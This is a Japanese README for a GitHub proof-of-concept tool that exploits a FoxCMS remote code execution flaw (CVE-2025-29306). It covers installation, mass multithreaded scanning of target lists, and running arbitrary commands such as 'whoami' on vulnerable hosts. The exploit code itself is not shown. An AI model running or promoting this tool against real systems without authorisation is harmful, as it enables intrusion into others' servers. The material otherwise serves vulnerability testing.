CVE-2025-29306 - FoxCMS リモートコード実行エクスプロイト

FoxCMS のリモートコード実行脆弱性 CVE-2025-29306 に対する Python エクスプロイトです。このツールを使用すると、単一ターゲットのテストや複数ホストの一括スキャンが可能です。

特徴

単一ターゲットまたは一括スキャン機能
マルチスレッドによる高速スキャン
コマンド実行結果を含む詳細な出力
自動結果保存機能
リアルタイム進捗レポート
脆弱なホストのクリーンなサマリテーブル

インストール

git clone https://github.com/mattb709/CVE-2025-29306-PoC-FoxCMS-RCE
.git
cd CVE-2025-29306-PoC-FoxCMS-RCE
pip install -r requirements.txt

必要条件

Python 3.6+
必須パッケージ:
- requests
- beautifulsoup4
- argparse

必要なパッケージは以下のコマンドでインストールします:

pip install requests beautifulsoup4

使用方法

usage: foxcms_rce.py [-h] -c COMMAND (-t TARGET | -f TARGETS_FILE)

CVE-2025-29306 Exploit Checker

options:
  -h, --help            show this help message and exit
  -c COMMAND, --command COMMAND
                        Command to execute on vulnerable hosts
  -t TARGET, --target TARGET
                        Single target in the format ip:port
  -f TARGETS_FILE, --targets-file TARGETS_FILE
                        File containing multiple targets, one per line, in the format ip:port

使用例

単一ターゲットのテスト:

python CVE-2025-29306-PoC -t 192.168.1.100:8080 -c "whoami"

ファイルから複数ターゲットをスキャン:

python CVE-2025-29306-PoC -f targets.txt -c "whoami"

出力をファイルに保存（自動的に行われます）:

python CVE-2025-29306-PoC -f targets.txt -c "whoami" > results.txt

ターゲットファイルの形式

ターゲットファイルには、1行に1ターゲットを以下の形式で記述します:

ip:port

例:

192.168.1.100:80
10.10.10.5:443
172.16.32.15:8080

出力

スクリプトは以下を提供します:

各ターゲットのステータスを含むリアルタイム進捗
脆弱なホストの詳細な出力
すべての脆弱なホストのサマリテーブル
完全な結果の foxcms_rce_results.txt への自動保存

sample-output

免責事項

このツールは教育および許可されたテスト目的のみで使用してください。作者はこのプログラムの誤用またはそれによって生じた損害について一切の責任を負いません。

ライセンス

MIT ライセンス - 詳細は LICENSE ファイルを参照してください。

CVE-2025-29306-PoC-FoxCMS-RCE

人気